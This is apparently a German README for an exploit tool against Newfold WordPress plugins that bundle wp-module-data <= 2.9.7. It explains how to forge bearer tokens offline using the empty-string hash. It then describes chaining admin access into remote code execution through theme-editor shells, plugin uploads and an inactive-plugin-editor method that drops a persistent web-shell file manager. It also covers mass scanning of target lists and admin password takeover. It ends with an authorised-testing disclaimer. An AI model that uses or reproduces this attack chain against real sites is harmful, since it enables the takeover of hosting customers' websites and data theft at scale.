Newfold-Plugins (wp-module-data <= 2.9.7) nicht authentifiziert
Unauthentifizierte Authentifizierungsumgehung und RCE-Exploit gegen Newfold-WordPress-Plugins, die wp-module-data bündeln.
Dieses Tool nutzt einen Fehler bei der Bearer-Token-Validierung im Newfold-Modul wp-module-data aus. Wenn eine WordPress-Seite, die ein betroffenes Newfold-Plugin verwendet, nicht mit Hiive verbunden ist, gibt HiiveConnection::get_auth_token() false zurück. Dieser Wert wird durch strrev() geleitet und anschließend gehasht, wodurch das geheime Salt auf die öffentliche Konstante reduziert wird:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Da jede andere Komponente der gehashten Nutzlast (HTTP-Methode, Anfrage-URL, Anfrage-Body, Zeitstempel) vollständig vom Angreifer kontrolliert wird, kann ein gültiges Bearer-Token offline berechnet werden. Der anfällige Filter läuft auf rest_authentication_errors, sodass ein gefälschtes Token den Aufrufer als für die gesamte WordPress-REST-API authentifiziert, einschließlich der Core-Routen. Dieser Zugriff wird dann zu vollständiger Remote-Code-Ausführung ausgenutzt.
| Plugin / Modul | Betroffene Versionen | Gepatcht |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
Die Erkennung deckt auch die WordPress.org-Plugin-Slugs wp-plugin-web und crazy_blog ab.
In vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
Auf einer nicht verbundenen Seite wird strrev(false) zu strrev('') gezwungen, was '' ergibt, und das Salt wird zum wohlbekannten Hash der leeren Zeichenkette. Jede andere Eingabe in die Hash-Kette wird vom Angreifer kontrolliert, sodass das Token vollständig vorhersagbar ist.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me und Prüfung der Rollen404.php / index.php.fm.php-Dateimanager, der im Webroot abgelegt wirdwp-login.php) und klassischer wp-login.php-Formular-Loginrequestsurllib3 (optional, nur zur Unterdrückung von TLS-Warnungen)Abhängigkeiten installieren:
pip install requests urllib3
Read-only-Erkennung und Umgehungsverifizierung:
python3 exploit.py -u https://target.example
Vollständige Kette zu einer persistenten Shell:
python3 exploit.py -u https://target.example --mode rce
Das Passwort des ersten Administrators zurücksetzen, anstatt einen neuen zu erstellen:
python3 exploit.py -u https://target.example --mode rce --takeover
Nur-Prüfung über eine Liste von Zielen:
python3 exploit.py --list targets.txt
Vollständige Kette auf jedem anfälligen Host (erfordert explizite Zustimmung):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Vorfiltern mit statischen Asset-Probes, bevor die REST-API berührt wird:
python3 exploit.py --list targets.txt --brand-filter
Nach den ersten N anfälligen Hosts stoppen:
python3 exploit.py --list targets.txt --stop-after 5
Einen vorherigen Lauf fortsetzen:
python3 exploit.py --list targets.txt --resume
| Flag | Beschreibung |
|---|---|
-u, --url | Basis-URL eines einzelnen Ziels |
--list | Datei mit einer Ziel-URL pro Zeile |
--mode | check (nur Erkennung) oder rce (vollständige Kette); Standard check |
--takeover | Passwort des ersten Admins zurücksetzen, anstatt einen neuen Admin zu erstellen |
--output | JSONL-Ausgabepfad für den Massenmodus; Standard cve_2026_80099_results.jsonl |
--vuln-list | Reine URL-Liste anfälliger Hosts; Standard vuln.txt |
--threads | Anzahl der Worker für den Massenmodus; Standard 20 |
--timeout | Anfrage-Timeout in Sekunden; Standard 15 |
--fast-timeout | Timeout für schnelle Probes in Sekunden; Standard 6 |
--retries | Wiederholungsversuche pro Anfrage; Standard 1 |
--proxy | HTTP(S)-Proxy-URL |
--all-out | Alle Massen-Zeilen schreiben, nicht nur anfällige |
--apply-rce | Die RCE-Kette auf anfälligen Hosts im Massenmodus ausführen |
--brand-filter | Vorfiltern mit statischen Newfold-Plugin-Assets |
--stop-after | Massen-Scan nach N anfälligen Hosts stoppen; 0 bedeutet alle ausführen |
--quiet | Fortschrittszeilen pro Ziel deaktivieren |
--resume | An die Ausgabe anhängen und bereits vorhandene Ziele überspringen |
Sobald ein Administrator-Kontext bestätigt ist, versucht das Tool drei Techniken in dieser Reihenfolge:
Theme-Editor-Shell — schreibt eine kleine PHP-Nutzlast in die 404.php oder index.php des aktiven Themes. Die Nutzlast wird ausgelöst, indem eine beliebige nicht existierende URL angefordert wird (für 404.php) oder das Site-Root (für index.php).
Plugin-Upload-Shell — erstellt ein ZIP mit einem minimalen Plugin, lädt es über wp-admin/update.php?action=upload-plugin hoch und greift direkt auf die Plugin-PHP-Datei zu.
Inaktive-Plugin-Editor-Kette — listet Plugins über die REST-API auf, wählt ein inaktives aus, schreibt eine Cmd-Shell in dessen Hauptdatei über plugin-editor.php, aktiviert es über PUT /wp/v2/plugins/<slug>, löst die Shell auf einer beliebigen Frontend-URL aus, legt .fm.php im Webroot ab, deaktiviert dann das Plugin und stellt die Originaldatei wieder her. Dieser Pfad ist darauf ausgelegt, Hosts zu überleben, die den Theme-Editor blockieren, den direkten Zugriff auf wp-content blockieren oder Änderungen durch Loopback-Health-Checks zurücksetzen.
Bei Erfolg wird ein persistenter .fm.php-Dateimanager im Webroot abgelegt. Er unterstützt:
?cmd=<shell command>?cat=<path> zum Lesen einer Datei?put=<path>&data=<base64> zum Schreiben einer Datei?ls=<path> zum Auflisten eines Verzeichnissescve_2026_80099_results.jsonl — JSONL-Datensätze für jedes gescannte Ziel. Anfällige Einträge enthalten vuln: true, admin, admin_id und, wenn RCE erfolgreich ist, shell (die URL des abgelegten Dateimanagers oder der Shell).vuln.txt — eine reine URL pro Zeile für jedes anfällige oder geshellte Ziel.trust_env = False, um zu vermeiden, dass Massen-Scans über lokale Proxys geleakt werden.Url::getCurrentUrl(). Die Anfrage wird zuerst vorbereitet und das Token aus der vorbereiteten URL abgeleitet.json_encode, einschließlich escapter Forward-Slashes, \uXXXX-Nicht-ASCII-Escaping und UTF-16-Surrogatpaaren für astrale Zeichen, sodass die gehashte Nutzlast byte-für-byte übereinstimmt.401 zurückgibt, bedeutet typischerweise, dass das Ziel gepatcht ist (Modul >= 2.9.8), die Seite mit Hiive verbunden ist (echtes Token, unbekanntes Salt) oder ein Intermediär den Authorization-Header entfernt. 403 deutet typischerweise darauf hin, dass ein anderer rest_authentication_errors-Filter eingegriffen hat.Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Forschung bereitgestellt. Verwenden Sie es ausschließlich gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal und kann zu schweren zivil- und strafrechtlichen Konsequenzen führen. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden.